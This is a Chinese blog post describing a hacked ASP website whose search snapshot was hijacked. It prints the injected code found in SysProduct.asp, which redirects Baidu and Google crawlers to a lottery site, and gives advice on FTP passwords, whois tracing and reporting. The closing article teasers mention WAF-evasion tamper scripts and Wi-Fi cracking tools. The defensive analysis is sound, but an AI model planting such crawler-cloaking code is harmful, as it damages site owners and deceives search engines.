前几日,我的客户 *** 说自己的百度排名没有了,查询下竟然百度标签显示的内容是一家彩票平台的网站内容。 我知道网站被黑客加入了非法代码,恶意篡改了百度快照。(截图如下)
查看“百度快照”出现的是一组跳转网站的广告内容。我们对客户设置的网站信息消失了。
1、黑客是如何修改百度快照的呢?
我进行了排查,客户的网站是使用asp源码开发的。发现有个文件被黑客写入了一段代码。
路径:Inc文件夹—SysProduct.asp文件里面更底下添加了如下代码:
<%
function Getbot()
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
if instr(1,s_agent,"googlebot",1) > 0 then
GetBot="google"
end if
if instr(1,s_agent,"baiduspider",1) > 0 then
GetBot="baidu"
end if
end function
if GetBot="baidu" or GetBot="google" then
'
Response.Redirect "http://*********"(跳转的网站,引导百度抓取的内容)
else
'
Response.Write"
//
"
end if
%>
黑客设置的这串代码导致百度爬虫抓取网页的时候,直接抓取越过客户网站抓取了跳转网站内容,导致百度快照里面显示的是别的内容。使得客户本来排名首页的网站直接被百度屏蔽了。造成了客户很大的损失。
2、那么黑客是如何进入后台的呢?
黑客要进入后台,必须知道FTP账户和密码,以及IP地址。
造成的原因有如下几种:
1)一方面是FTP密码设置的时候比较简单化,很容易被利用软件破解掉,
2)另一方面选择便宜的空间也是一种隐患。因为空间IP以及用户名是很难被知道的,除非有人提供。
3、网站被黑之后,你如何追查黑客的来源?
*** 比较简单,就是查询你跳转的目标网站的域名信息。一般情况下,都是一些小型的站长开发的赚钱网站,通过查询域名信息你可以获知该域名的归属人是谁,他有可能就是黑你网站的人。
如果是比较大型的网站利用外包的方式进行推广,那么你也可以得知负责人,给百度或者是 *** 警察举报一下,该网站存在恶意攻击修改内容的行为,毕竟它也有一定得责任。
通过中国万网Whois域名查询:比如我客户跳转的彩票网站的域名信息如下:
1)之一个是:注册人
2)第二个是:联系 ***
3)第三个是:联系邮箱
基本上你联系注册人就可以解决问题。如果对你客户造成的损失太大的话,建议你通过以下方式进行 *** :
违法和不良信息举报中心:http://net.china.cn/
12321 *** 不良与垃圾信息举报受理中心:http://www.12321.cn/
国家互联网应急中心 *** 安全举报中心:http://www.cert.org.cn/
中国反钓鱼网站联盟认定及处理流程: http://www.cnnic.cn/
公安部信息 *** 安全报警网站:http://www.cyberpolice.cn/wfjb/
中国扫黄打非网:http://www.shdf.gov.cn/
北京市公安局 *** 违法犯罪举报网站:http://www.bj.cyberpolice.cn/index.jsp
希望本篇文章对你防黑有帮助。
Ubertooth One是一款开源系统手机蓝牙扫描仪嗅探器,当然,还可以扫描仪网络嗅探低能耗手机蓝牙,Ubertooth One是适用手机蓝牙试验的开源系统2.4 GHz无线网络软件开发平台。 手...
什么叫Stunnel? 此专用工具致力于做为虚拟服务器和远程控制手机客户端中间的SSL数据加密包裝。要是工程建筑全过程合乎其安全设置,Stunnel能够从FIPS 140-2认证OpenSSL FI...
什么叫Sysinternals? Sysinternals Live是一项服务项目,可使您立即从互联网技术实行Sysinternals专用工具,而不用捕猎和手动式下载神器。只需在命令提示符或Wind...
黑客攻击是一项很难掌握的技能,在很大的程度上要求人们对计算机和软件架构的各种概念和网络系统有深入的了解,今天,分享8个道德黑客学习可以利用的网站 黑客主要有两种:黑帽黑客、白帽...
很多状况下我们可以根据应用sqlmap中的tamper脚本制作来对总体目标开展更高效率的进攻。tamper脚本制作的功效是改动大家传出的恳求来避免其被WAF(网络技术应用服务器防火墙)阻拦。在一些状...
什么是Aircrack-ng? Aircrack-ng是一个互联网黑客工具,由一个排序嗅探器,探测器,WPA / WPA2-PSK破解器,WEP和用以802.11无线网络的分析工具构成。该专用工具适...